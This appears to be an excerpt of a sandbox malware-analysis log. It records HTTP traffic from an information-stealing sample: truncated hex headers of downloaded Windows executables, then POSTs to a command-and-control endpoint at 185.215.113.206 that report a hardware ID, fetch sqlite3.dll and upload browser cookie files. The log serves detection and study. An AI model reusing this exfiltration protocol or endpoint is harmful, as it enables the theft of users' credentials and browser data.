Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 17:06:45 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 17:06:46 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 17:06:47 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 17:06:47 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJECBAAAFHIIEBFCBKFHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 42 33 42 42 36 43 42 41 36 36 38 34 32 31 37 36 35 31 31 32 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 2d 2d 0d 0a Data Ascii: ------JKJECBAAAFHIIEBFCBKFContent-Disposition: form-data; name="hwid"4B3BB6CBA6684217651120------JKJECBAAAFHIIEBFCBKFContent-Disposition: form-data; name="build"tale------JKJECBAAAFHIIEBFCBKF--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIEHDAFHDHCBFIDGCFIDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 45 48 44 41 46 48 44 48 43 42 46 49 44 47 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 61 34 31 39 32 62 65 38 66 63 39 33 62 38 36 66 62 35 36 36 64 63 30 31 36 31 30 63 36 31 65 61 32 65 32 64 38 30 36 33 64 31 64 32 35 37 62 33 37 33 63 32 35 39 37 37 36 30 32 38 33 39 35 62 32 34 65 66 35 30 0d 0a 2d 2d 2d 2d 2d 2d 48 49 45 48 44 41 46 48 44 48 43 42 46 49 44 47 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 45 48 44 41 46 48 44 48 43 42 46 49 44 47 43 46 49 44 2d 2d 0d 0a Data Ascii: ------HIEHDAFHDHCBFIDGCFIDContent-Disposition: form-data; name="token"f8a4192be8fc93b86fb566dc01610c61ea2e2d8063d1d257b373c259776028395b24ef50------HIEHDAFHDHCBFIDGCFIDContent-Disposition: form-data; name="message"browsers------HIEHDAFHDHCBFIDGCFID--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGCAKKKEGCAKJKFIIEGIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 43 41 4b 4b 4b 45 47 43 41 4b 4a 4b 46 49 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 61 34 31 39 32 62 65 38 66 63 39 33 62 38 36 66 62 35 36 36 64 63 30 31 36 31 30 63 36 31 65 61 32 65 32 64 38 30 36 33 64 31 64 32 35 37 62 33 37 33 63 32 35 39 37 37 36 30 32 38 33 39 35 62 32 34 65 66 35 30 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 41 4b 4b 4b 45 47 43 41 4b 4a 4b 46 49 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 41 4b 4b 4b 45 47 43 41 4b 4a 4b 46 49 49 45 47 49 2d 2d 0d 0a Data Ascii: ------CGCAKKKEGCAKJKFIIEGIContent-Disposition: form-data; name="token"f8a4192be8fc93b86fb566dc01610c61ea2e2d8063d1d257b373c259776028395b24ef50------CGCAKKKEGCAKJKFIIEGIContent-Disposition: form-data; name="message"plugins------CGCAKKKEGCAKJKFIIEGI--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDBGHIIDAECBFIDHIIDGHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 47 48 49 49 44 41 45 43 42 46 49 44 48 49 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 61 34 31 39 32 62 65 38 66 63 39 33 62 38 36 66 62 35 36 36 64 63 30 31 36 31 30 63 36 31 65 61 32 65 32 64 38 30 36 33 64 31 64 32 35 37 62 33 37 33 63 32 35 39 37 37 36 30 32 38 33 39 35 62 32 34 65 66 35 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 47 48 49 49 44 41 45 43 42 46 49 44 48 49 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 47 48 49 49 44 41 45 43 42 46 49 44 48 49 49 44 47 2d 2d 0d 0a Data Ascii: ------JDBGHIIDAECBFIDHIIDGContent-Disposition: form-data; name="token"f8a4192be8fc93b86fb566dc01610c61ea2e2d8063d1d257b373c259776028395b24ef50------JDBGHIIDAECBFIDHIIDGContent-Disposition: form-data; name="message"fplugins------JDBGHIIDAECBFIDHIIDG--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGDHDHJEBGHJKFIECBGHost: 185.215.113.206Content-Length: 6599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBFIEHDHIIIECAAKECFHHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 46 49 45 48 44 48 49 49 49 45 43 41 41 4b 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 61 34 31 39 32 62 65 38 66 63 39 33 62 38 36 66 62 35 36 36 64 63 30 31 36 31 30 63 36 31 65 61 32 65 32 64 38 30 36 33 64 31 64 32 35 37 62 33 37 33 63 32 35 39 37 37 36 30 32 38 33 39 35 62 32 34 65 66 35 30 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 49 45 48 44 48 49 49 49 45 43 41 41 4b 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 49 45 48 44 48 49 49 49 45 43 41 41 4b 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 49 45 48 44 48 49 49 49 45 43 41 41 4b 45 43 46 48 2d 2d 0d 0a Data Ascii: ------DBFIEHDHIIIECAAKECFHContent-Disposition: form-data; name="token"f8a4192be8fc93b86fb566dc01610c61ea2e2d8063d1d257b373c259776028395b24ef50------DBFIEHDHIIIECAAKECFHContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------DBFIEHDHIIIECAAKECFHContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------DBFIEHDHIIIECAAKECFH--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGCFBAFBFHJEBGCAEGHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 61 34 31 39 32 62 65 38 66 63 39 33 62 38 36 66 62 35 36 36 64 63 30 31 36 31 30 63 36 31 65 61 32 65 32 64 38 30 36 33 64 31 64 32 35 37 62 33 37 33 63 32 35 39 37 37 36 30 32 38 33 39 35 62 32 34 65 66 35 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 2d 2d 0d 0a Data Ascii: ------JDGCFBAFBFHJEBGCAEGHContent-Disposition: form-data; name="token"f8a4192be8fc93b86fb566dc01610c61ea2e2d8063d1d257b373c259776028395b24ef50------JDGCFBAFBFHJEBGCAEGHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JDGCFBAFBFHJEBGCAEGHContent-Disposition: form-data; name="file"------JDGCFBAFBFHJEBGCAEGH--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIEHJKJJJECFHJJJKKECHost: 185.215.113.206Content-Length: 3503Connection: Keep-AliveCache-Control: no-cache
